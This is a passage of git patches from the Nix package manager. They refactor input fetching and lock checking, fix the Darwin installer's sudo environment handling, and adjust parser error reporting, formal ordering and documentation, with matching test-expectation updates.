b/src/libexpr/primops/fetchMercurial.cc @@ -64,8 +64,7 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a if (rev) attrs.insert_or_assign("rev", rev->gitRev()); auto input = fetchers::Input::fromAttrs(std::move(attrs)); - // FIXME: use name - auto [storePath, input2] = input.fetch(state.store); + auto [storePath, input2] = input.fetchToStore(state.store); auto attrs2 = state.buildBindings(8); state.mkStorePathString(storePath, attrs2.alloc(state.sOutPath)); diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index cfedfa6c4..5061e40fd 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -182,7 +182,7 @@ static void fetchTree( state.checkURI(input.toURLString()); - auto [storePath, input2] = input.fetch(state.store); + auto [storePath, input2] = input.fetchToStore(state.store); state.allowPath(storePath); diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 363ad018e..483796f0b 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -161,7 +161,7 @@ bool Input::contains(const Input & other) const return false; } -std::pair Input::fetch(ref store) const +std::pair Input::fetchToStore(ref store) const { if (!scheme) throw Error("cannot fetch unsupported input '%s'", attrsToJSON(toAttrs())); @@ -186,56 +186,85 @@ std::pair Input::fetch(ref store) const auto [storePath, input] = [&]() -> std::pair { try { - return scheme->fetch(store, *this); + auto [accessor, final] = getAccessorUnchecked(store); + + auto storePath = nix::fetchToStore(*store, SourcePath(accessor), FetchMode::Copy, final.getName()); + + auto narHash = store->queryPathInfo(storePath)->narHash; + final.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); + + scheme->checkLocks(*this, final); + + return {storePath, final}; } catch (Error & e) { e.addTrace({}, "while fetching the input '%s'", to_string()); throw; } }(); - auto narHash = store->queryPathInfo(storePath)->narHash; - input.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); - - if (auto prevNarHash = getNarHash()) { - if (narHash != *prevNarHash) - throw Error((unsigned int) 102, "NAR hash mismatch in input '%s' (%s), expected '%s', got '%s'", - to_string(), - store->printStorePath(storePath), - prevNarHash->to_string(HashFormat::SRI, true), - narHash.to_string(HashFormat::SRI, true)); - } - - if (auto prevLastModified = getLastModified()) { - if (input.getLastModified() != prevLastModified) - throw Error("'lastModified' attribute mismatch in input '%s', expected %d", - input.to_string(), *prevLastModified); - } - - if (auto prevRev = getRev()) { - if (input.getRev() != prevRev) - throw Error("'rev' attribute mismatch in input '%s', expected %s", - input.to_string(), prevRev->gitRev()); - } - - if (auto prevRevCount = getRevCount()) { - if (input.getRevCount() != prevRevCount) - throw Error("'revCount' attribute mismatch in input '%s', expected %d", - input.to_string(), *prevRevCount); - } - return {std::move(storePath), input}; } +void InputScheme::checkLocks(const Input & specified, const Input & final) const +{ + if (auto prevNarHash = specified.getNarHash()) { + if (final.getNarHash() != prevNarHash) { + if (final.getNarHash()) + throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got '%s'", + specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true), final.getNarHash()->to_string(HashFormat::SRI, true)); + else + throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got none", + specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true)); + } + } + + if (auto prevLastModified = specified.getLastModified()) { + if (final.getLastModified() != prevLastModified) + throw Error("'lastModified' attribute mismatch in input '%s', expected %d", + final.to_string(), *prevLastModified); + } + + if (auto prevRev = specified.getRev()) { + if (final.getRev() != prevRev) + throw Error("'rev' attribute mismatch in input '%s', expected %s", + final.to_string(), prevRev->gitRev()); + } + + if (auto prevRevCount = specified.getRevCount()) { + if (final.getRevCount() != prevRevCount) + throw Error("'revCount' attribute mismatch in input '%s', expected %d", + final.to_string(), *prevRevCount); + } +} + std::pair, Input> Input::getAccessor(ref store) const { try { - return scheme->getAccessor(store, *this); + auto [accessor, final] = getAccessorUnchecked(store); + + scheme->checkLocks(*this, final); + + return {accessor, std::move(final)}; } catch (Error & e) { e.addTrace({}, "while fetching the input '%s'", to_string()); throw; } } +std::pair, Input> Input::getAccessorUnchecked(ref store) const +{ + // FIXME: cache the accessor + + if (!scheme) + throw Error("cannot fetch unsupported input '%s'", attrsToJSON(toAttrs())); + + auto [accessor, final] = scheme->getAccessor(store, *this); + + accessor->fingerprint = scheme->getFingerprint(store, final); + + return {accessor, std::move(final)}; +} + Input Input::applyOverrides( std::optional ref, std::optional rev) const @@ -372,18 +401,6 @@ void InputScheme::clone(const Input & input, const Path & destDir) const throw Error("do not know how to clone input '%s'", input.to_string()); } -std::pair InputScheme::fetch(ref store, const Input & input) -{ - auto [accessor, input2] = getAccessor(store, input); - auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy, input2.getName()); - return {storePath, input2}; -} - -std::pair, Input> InputScheme::getAccessor(ref store, const Input & input) const -{ - throw UnimplementedError("InputScheme must implement fetch() or getAccessor()"); -} - std::optional InputScheme::experimentalFeature() const { return {}; diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 472fba6f4..cd11f9eae 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -80,10 +80,21 @@ public: * Fetch the entire input into the Nix store, returning the * location in the Nix store and the locked input. */ - std::pair fetch(ref store) const; + std::pair fetchToStore(ref store) const; + /** + * Return an InputAccessor that allows access to files in the + * input without copying it to the store. Also return a possibly + * unlocked input. + */ std::pair, Input> getAccessor(ref store) const; +private: + + std::pair, Input> getAccessorUnchecked(ref store) const; + +public: + Input applyOverrides( std::optional ref, std::optional rev) const; @@ -173,9 +184,7 @@ struct InputScheme std::string_view contents, std::optional commitMsg) const; - virtual std::pair fetch(ref store, const Input & input); - - virtual std::pair, Input> getAccessor(ref store, const Input & input) const; + virtual std::pair, Input> getAccessor(ref store, const Input & input) const = 0; /** * Is this `InputScheme` part of an experimental feature? @@ -202,6 +211,14 @@ struct InputScheme */ virtual bool isLocked(const Input & input) const { return false; } + + /** + * Check the locking attributes in `final` against + * `specified`. E.g. if `specified` has a `rev` attribute, then + * `final` must have the same `rev` attribute. Throw an exception + * if there is a mismatch. + */ + virtual void checkLocks(const Input & specified, const Input & final) const; }; void registerInputScheme(std::shared_ptr && fetcher); diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index 87d114276..25eabb1dc 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -761,8 +761,6 @@ struct GitInputScheme : InputScheme ? getAccessorFromCommit(store, repoInfo, std::move(input)) : getAccessorFromWorkdir(store, repoInfo, std::move(input)); - accessor->fingerprint = final.getFingerprint(store); - return {accessor, std::move(final)}; } diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index a48c99a0b..d9d348756 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -275,8 +275,6 @@ struct GitArchiveInputScheme : InputScheme accessor->setPathDisplay("«" + input.to_string() + "»"); - accessor->fingerprint = input.getFingerprint(store); - return {accessor, input}; } diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc index 002c0c292..3f21445e1 100644 --- a/src/libfetchers/indirect.cc +++ b/src/libfetchers/indirect.cc @@ -97,7 +97,7 @@ struct IndirectInputScheme : InputScheme return input; } - std::pair fetch(ref store, const Input & input) override + std::pair, Input> getAccessor(ref store, const Input & input) const override { throw Error("indirect input '%s' cannot be fetched directly", input.to_string()); } diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index a5f55a44e..a2702338f 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -6,8 +6,8 @@ #include "tarfile.hh" #include "store-api.hh" #include "url-parts.hh" +#include "fs-input-accessor.hh" #include "posix-source-accessor.hh" - #include "fetch-settings.hh" #include @@ -161,9 +161,9 @@ struct MercurialInputScheme : InputScheme return {isLocal, isLocal ? url.path : url.base}; } - std::pair fetch(ref store, const Input & _input) override + StorePath fetchToStore(ref store, Input & input) const { - Input input(_input); + auto origRev = input.getRev(); auto name = input.getName(); @@ -218,7 +218,7 @@ struct MercurialInputScheme : InputScheme FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {}, filter); - return {std::move(storePath), input}; + return storePath; } } @@ -242,13 +242,12 @@ struct MercurialInputScheme : InputScheme }); }; - auto makeResult = [&](const Attrs & infoAttrs, StorePath && storePath) - -> std::pair + auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath { assert(input.getRev()); - assert(!_input.getRev() || _input.getRev() == input.getRev()); + assert(!origRev || origRev == input.getRev()); input.attrs.insert_or_assign("revCount", getIntAttr(infoAttrs, "revCount")); - return {std::move(storePath), input}; + return storePath; }; if (input.getRev()) { @@ -329,7 +328,7 @@ struct MercurialInputScheme : InputScheme {"revCount", (uint64_t) revCount}, }); - if (!_input.getRev()) + if (!origRev) getCache()->add( *store, unlockedAttrs, @@ -347,6 +346,15 @@ struct MercurialInputScheme : InputScheme return makeResult(infoAttrs, std::move(storePath)); } + std::pair, Input> getAccessor(ref store, const Input & _input) const override + { + Input input(_input); + + auto storePath = fetchToStore(store, input); + + return {makeStorePathAccessor(store, storePath), input}; + } + bool isLocked(const Input & input) const override { return (bool) input.getRev(); diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 276fd1b36..6cc482ebf 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -1,6 +1,8 @@ #include "fetchers.hh" #include "store-api.hh" #include "archive.hh" +#include "fs-input-accessor.hh" +#include "posix-source-accessor.hh" namespace nix::fetchers { @@ -102,7 +104,7 @@ struct PathInputScheme : InputScheme throw Error("cannot fetch input '%s' because it uses a relative path", input.to_string()); } - std::pair fetch(ref store, const Input & _input) override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { Input input(_input); std::string absPath; @@ -144,7 +146,7 @@ struct PathInputScheme : InputScheme } input.attrs.insert_or_assign("lastModified", uint64_t(mtime)); - return {std::move(*storePath), input}; + return {makeStorePathAccessor(store, *storePath), std::move(input)}; } std::optional experimentalFeature() const override diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 5fc3f4166..5e4269588 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -1050,7 +1050,7 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun auto storePath = dryRun ? (*inputNode)->lockedRef.input.computeStorePath(*store) - : (*inputNode)->lockedRef.input.fetch(store).first; + : (*inputNode)->lockedRef.input.fetchToStore(store).first; if (json) { auto& jsonObj3 = jsonObj2[inputName]; jsonObj3["path"] = store->printStorePath(storePath); diff --git a/src/nix/registry.cc b/src/nix/registry.cc index 0346ec1e0..812429240 100644 --- a/src/nix/registry.cc +++ b/src/nix/registry.cc @@ -188,7 +188,9 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand auto ref = parseFlakeRef(url); auto lockedRef = parseFlakeRef(locked); registry->remove(ref.input); - auto [tree, resolved] = lockedRef.resolve(store).input.fetch(store); + auto resolved = lockedRef.resolve(store).input.getAccessor(store).second; + if (!resolved.isLocked()) + warn("flake '%s' is not locked", resolved.to_string()); fetchers::Attrs extraAttrs; if (ref.subdir != "") extraAttrs["dir"] = ref.subdir; registry->add(ref.input, resolved, extraAttrs); From 7161ef14a2f26fa4f1be9633de2f423492ee76c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Tue, 5 Mar 2024 08:07:58 +0100 Subject: [PATCH 0183/1251] Add a warning against carelessly changing the profile version number Try and prevent the situation of https://github.com/NixOS/nix/issues/10109 to happen again in the future --- src/nix/profile.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d39a24d36..2bb29a67b 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -222,6 +222,8 @@ struct ProfileManifest es[name] = obj; } nlohmann::json json; + // Only upgrade with great care as changing it can break fresh installs + // like in https://github.com/NixOS/nix/issues/10109 json["version"] = 3; json["elements"] = es; return json; From fe42a0ead70db8f5b82dec42a14682bbe4414577 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Wed, 6 Mar 2024 09:10:32 +0100 Subject: [PATCH 0184/1251] Documentation typo --- src/libstore/local-overlay-store.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md index b85f69205..cc310bc7f 100644 --- a/src/libstore/local-overlay-store.md +++ b/src/libstore/local-overlay-store.md @@ -23,7 +23,7 @@ The parts of a local overlay store are as follows: Something else could modify the lower store, but there are restrictions on this Nix itself requires that this store only grow, and not change in other ways. For example, new store objects can be added, but deleting or modifying store objects is not allowed in general, because that will confuse and corrupt any local overlay store using those objects. - (In addition, the underlying filesystem overlay mechanism may imposed additional restrictions, see below.) + (In addition, the underlying filesystem overlay mechanism may impose additional restrictions, see below.) The lower store must not change while it is mounted as part of an overlay store. To ensure it does not, you might want to mount the store directory read-only (which then requires the [read-only] parameter to be set to `true`). From 2a3451077677787eae176c72717817ba80738a5e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 5 Mar 2024 14:35:05 +0100 Subject: [PATCH 0185/1251] package.nix: Apply OBJC_DISABLE_INITIALIZE_FORK_SAFETY workaround This was previously already used in the launchd configuration for nix-daemon. (cherry picked from commit 855741aea57cd413a5da524169794a6790162d18) --- package.nix | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/package.nix b/package.nix index a90973b4c..fa898e906 100644 --- a/package.nix +++ b/package.nix @@ -349,9 +349,15 @@ in { # Needed for tests if we are not doing a build, but testing existing # built Nix. - preInstallCheck = lib.optionalString (! doBuild) '' - mkdir -p src/nix-channel - ''; + preInstallCheck = + lib.optionalString (! doBuild) '' + mkdir -p src/nix-channel + '' + # See https://github.com/NixOS/nix/issues/2523 + # Occurs often in tests since https://github.com/NixOS/nix/pull/9900 + + lib.optionalString stdenv.hostPlatform.isDarwin '' + export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES + ''; separateDebugInfo = !stdenv.hostPlatform.isStatic; From 686405ef416955621a89815e07cb64e1ee4f1495 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Wed, 6 Mar 2024 22:36:37 +0100 Subject: [PATCH 0186/1251] Fix sudo in the darwin installer (#10128) --- scripts/install-multi-user.sh | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index 1dbb93bf9..4d6a1914e 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -69,16 +69,17 @@ readonly PROXY_ENVIRONMENT_VARIABLES=( NO_PROXY ) -SUDO_EXTRA_ENVIRONMENT_VARIABLES=() +SUDO_KEPT_ENVIRONMENT_VARIABLES="" setup_sudo_extra_environment_variables() { - local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do if [ "x${!variable:-}" != "x" ]; then - SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" - i=$((i + 1)) + SUDO_KEPT_ENVIRONMENT_VARIABLES="$SUDO_KEPT_ENVIRONMENT_VARIABLES,$variable" fi done + + # Required by the darwin installer + export SUDO_KEPT_ENVIRONMENT_VARIABLES } setup_sudo_extra_environment_variables @@ -386,7 +387,7 @@ _sudo() { if is_root; then env "$@" else - sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" + sudo --preserve-env="$SUDO_KEPT_ENVIRONMENT_VARIABLES" "$@" fi } From fe13d4a6e0d286d0ab8fcd8728bd41064dad69d0 Mon Sep 17 00:00:00 2001 From: link2xt Date: Wed, 6 Mar 2024 21:55:02 +0000 Subject: [PATCH 0187/1251] Make search.nixos.org link in quick start clickable --- doc/manual/src/quick-start.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/quick-start.md b/doc/manual/src/quick-start.md index 75853ced7..9eb7a3265 100644 --- a/doc/manual/src/quick-start.md +++ b/doc/manual/src/quick-start.md @@ -34,7 +34,7 @@ For more in-depth information you are kindly referred to subsequent chapters. lolcat: command not found ``` -1. Search for more packages on to try them out. +1. Search for more packages on [search.nixos.org](https://search.nixos.org/) to try them out. 1. Free up storage space: From d384ecd553aa997270b79ee98d02f7cf7e1849e6 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 0188/1251] keep copies of parser inputs that are in-memory only the parser modifies its inputs, which means that sharing them between the error context reporting system and the parser itself can confuse the reporting system. usually this led to early truncation of error context reports which, while not dangerous, can be quite confusing. --- src/libexpr/eval.cc | 16 +++++++++++----- .../lang/parse-fail-dup-attrs-1.err.exp | 1 + .../lang/parse-fail-dup-attrs-2.err.exp | 1 + .../lang/parse-fail-dup-attrs-3.err.exp | 1 + .../lang/parse-fail-dup-attrs-4.err.exp | 1 + .../lang/parse-fail-dup-attrs-7.err.exp | 1 + .../lang/parse-fail-undef-var-2.err.exp | 3 ++- tests/functional/lang/parse-fail-utf8.err.exp | 3 ++- 8 files changed, 20 insertions(+), 7 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 722ff6908..3d22723b3 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2777,9 +2777,12 @@ Expr * EvalState::parseExprFromFile(const SourcePath & path, std::shared_ptr & staticEnv) { - auto s = make_ref(std::move(s_)); - s->append("\0\0", 2); - return parse(s->data(), s->size(), Pos::String{.source = s}, basePath, staticEnv); + // NOTE this method (and parseStdin) must take care to *fully copy* their input + // into their respective Pos::Origin until the parser stops overwriting its input + // data. + auto s = make_ref(s_); + s_.append("\0\0", 2); + return parse(s_.data(), s_.size(), Pos::String{.source = s}, basePath, staticEnv); } @@ -2791,12 +2794,15 @@ Expr * EvalState::parseExprFromString(std::string s, const SourcePath & basePath Expr * EvalState::parseStdin() { + // NOTE this method (and parseExprFromString) must take care to *fully copy* their + // input into their respective Pos::Origin until the parser stops overwriting its + // input data. //Activity act(*logger, lvlTalkative, "parsing standard input"); auto buffer = drainFD(0); // drainFD should have left some extra space for terminators buffer.append("\0\0", 2); - auto s = make_ref(std::move(buffer)); - return parse(s->data(), s->size(), Pos::Stdin{.source = s}, rootPath("."), staticBaseEnv); + auto s = make_ref(buffer); + return parse(buffer.data(), buffer.size(), Pos::Stdin{.source = s}, rootPath("."), staticBaseEnv); } diff --git a/tests/functional/lang/parse-fail-dup-attrs-1.err.exp b/tests/functional/lang/parse-fail-dup-attrs-1.err.exp index 6c3a3510c..ffb5198c1 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-1.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-1.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:1:3 2| y = 456; 3| x = 789; | ^ + 4| } diff --git a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp index fecdece20..4607a5d59 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:9:5 9| x = 789; 10| inherit (as) x; | ^ + 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp index fecdece20..4607a5d59 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:9:5 9| x = 789; 10| inherit (as) x; | ^ + 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-4.err.exp b/tests/functional/lang/parse-fail-dup-attrs-4.err.exp index f85ffea51..c98a8f8d0 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-4.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-4.err.exp @@ -3,3 +3,4 @@ error: attribute 'services.ssh.port' already defined at «stdin»:2:3 2| services.ssh.port = 22; 3| services.ssh.port = 23; | ^ + 4| } diff --git a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp index 98cea9dae..2daddf380 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:6:12 6| inherit x; 7| inherit x; | ^ + 8| }; diff --git a/tests/functional/lang/parse-fail-undef-var-2.err.exp b/tests/functional/lang/parse-fail-undef-var-2.err.exp index a58d8dca4..393c454dd 100644 --- a/tests/functional/lang/parse-fail-undef-var-2.err.exp +++ b/tests/functional/lang/parse-fail-undef-var-2.err.exp @@ -1,5 +1,6 @@ error: syntax error, unexpected ':', expecting '}' at «stdin»:3:13: 2| - 3| f = {x, y : + 3| f = {x, y : ["baz" "bar" z "bat"]}: x + y; | ^ + 4| diff --git a/tests/functional/lang/parse-fail-utf8.err.exp b/tests/functional/lang/parse-fail-utf8.err.exp index e83abdb9e..1c83f6eb3 100644 --- a/tests/functional/lang/parse-fail-utf8.err.exp +++ b/tests/functional/lang/parse-fail-utf8.err.exp @@ -1,4 +1,5 @@ error: syntax error, unexpected invalid token, expecting end of file at «stdin»:1:5: - 1| 123 + 1| 123 é 4 | ^ + 2| From 4147ecfb1c51f3fe3b4adcbd4e753fd487dab645 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 0189/1251] normalize formal order on ExprLambda::show we already normalize attr order to lexicographic, doing the same for formals makes sense. doubly so because the order of formals would otherwise depend on the context of the expression, which is not quite as useful as one might expect. --- doc/manual/rl-next/formal-order.md | 7 +++++++ src/libexpr/nixexpr.cc | 5 ++++- tests/functional/lang/parse-okay-subversion.exp | 2 +- 3 files changed, 12 insertions(+), 2 deletions(-) create mode 100644 doc/manual/rl-next/formal-order.md diff --git a/doc/manual/rl-next/formal-order.md b/doc/manual/rl-next/formal-order.md new file mode 100644 index 000000000..12628e318 --- /dev/null +++ b/doc/manual/rl-next/formal-order.md @@ -0,0 +1,7 @@ +--- +synopsis: consistent order of lambda formals in printed expressions +prs: 9874 +--- + +Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. +This makes printed formals independent of the context they appear in. diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 4b805d710..9a8b9616b 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -149,7 +149,10 @@ void ExprLambda::show(const SymbolTable & symbols, std::ostream & str) const if (hasFormals()) { str << "{ "; bool first = true; - for (auto & i : formals->formals) { + // the natural Symbol ordering is by creation time, which can lead to the + // same expression being printed in two different ways depending on its + // context. always use lexicographic ordering to avoid this. + for (auto & i : formals->lexicographicOrder(symbols)) { if (first) first = false; else str << ", "; str << symbols[i.name]; if (i.def) { diff --git a/tests/functional/lang/parse-okay-subversion.exp b/tests/functional/lang/parse-okay-subversion.exp index 2303932c4..32fbba3c5 100644 --- a/tests/functional/lang/parse-okay-subversion.exp +++ b/tests/functional/lang/parse-okay-subversion.exp @@ -1 +1 @@ -({ fetchurl, localServer ? false, httpServer ? false, sslSupport ? false, pythonBindings ? false, javaSwigBindings ? false, javahlBindings ? false, stdenv, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); })) +({ db4 ? null, expat, fetchurl, httpServer ? false, httpd ? null, j2sdk ? null, javaSwigBindings ? false, javahlBindings ? false, localServer ? false, openssl ? null, pythonBindings ? false, sslSupport ? false, stdenv, swig ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); })) From 1edd6fada53553b89847ac3981ac28025857ca02 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 0190/1251] report inherit attr errors at the duplicate name previously we reported the error at the beginning of the binding block (for plain inherits) or the beginning of the attr list (for inherit-from), effectively hiding where exactly the error happened. this also carries over to runtime positions of attributes in sets as reported by unsafeGetAttrPos. we're not worried about this changing observable eval behavior because it *is* marked unsafe, and the new behavior is much more useful. --- doc/manual/rl-next/inherit-error-positions.md | 6 +++++ src/libexpr/parser.y | 25 ++++++++++--------- .../lang/eval-okay-inherit-attr-pos.exp | 1 + .../lang/eval-okay-inherit-attr-pos.nix | 12 +++++++++ .../lang/parse-fail-dup-attrs-2.err.exp | 4 +-- .../lang/parse-fail-dup-attrs-3.err.exp | 4 +-- .../lang/parse-fail-dup-attrs-7.err.exp | 6 ++--- .../parse-fail-regression-20060610.err.exp | 6 ++--- 8 files changed, 42 insertions(+), 22 deletions(-) create mode 100644 doc/manual/rl-next/inherit-error-positions.md create mode 100644 tests/functional/lang/eval-okay-inherit-attr-pos.exp create mode 100644 tests/functional/lang/eval-okay-inherit-attr-pos.nix diff --git a/doc/manual/rl-next/inherit-error-positions.md b/doc/manual/rl-next/inherit-error-positions.md new file mode 100644 index 000000000..643080e9e --- /dev/null +++ b/doc/manual/rl-next/inherit-error-positions.md @@ -0,0 +1,6 @@ +--- +synopsis: fix duplicate attribute error positions for `inherit` +prs: 9874 +--- + +When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index b0aee7b41..9a543d636 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -87,6 +87,7 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * nix::StringToken uri; nix::StringToken str; std::vector * attrNames; + std::vector> * inheritAttrs; std::vector> * string_parts; std::vector>> * ind_string_parts; } @@ -97,7 +98,8 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * %type binds %type formals %type formal -%type attrs attrpath +%type attrpath +%type attrs %type string_parts_interpolated %type ind_string_parts %type path_start string_parts string_attr @@ -309,13 +311,12 @@ binds : binds attrpath '=' expr ';' { $$ = $1; state->addAttr($$, std::move(*$2), $4, state->at(@2)); delete $2; } | binds INHERIT attrs ';' { $$ = $1; - for (auto & i : *$3) { + for (auto & [i, iPos] : *$3) { if ($$->attrs.find(i.symbol) != $$->attrs.end()) - state->dupAttr(i.symbol, state->at(@3), $$->attrs[i.symbol].pos); - auto pos = state->at(@3); + state->dupAttr(i.symbol, iPos, $$->attrs[i.symbol].pos); $$->attrs.emplace( i.symbol, - ExprAttrs::AttrDef(new ExprVar(CUR_POS, i.symbol), pos, ExprAttrs::AttrDef::Kind::Inherited)); + ExprAttrs::AttrDef(new ExprVar(iPos, i.symbol), iPos, ExprAttrs::AttrDef::Kind::Inherited)); } delete $3; } @@ -325,14 +326,14 @@ binds $$->inheritFromExprs = std::make_unique>(); $$->inheritFromExprs->push_back($4); auto from = new nix::ExprInheritFrom(state->at(@4), $$->inheritFromExprs->size() - 1); - for (auto & i : *$6) { + for (auto & [i, iPos] : *$6) { if ($$->attrs.find(i.symbol) != $$->attrs.end()) - state->dupAttr(i.symbol, state->at(@6), $$->attrs[i.symbol].pos); + state->dupAttr(i.symbol, iPos, 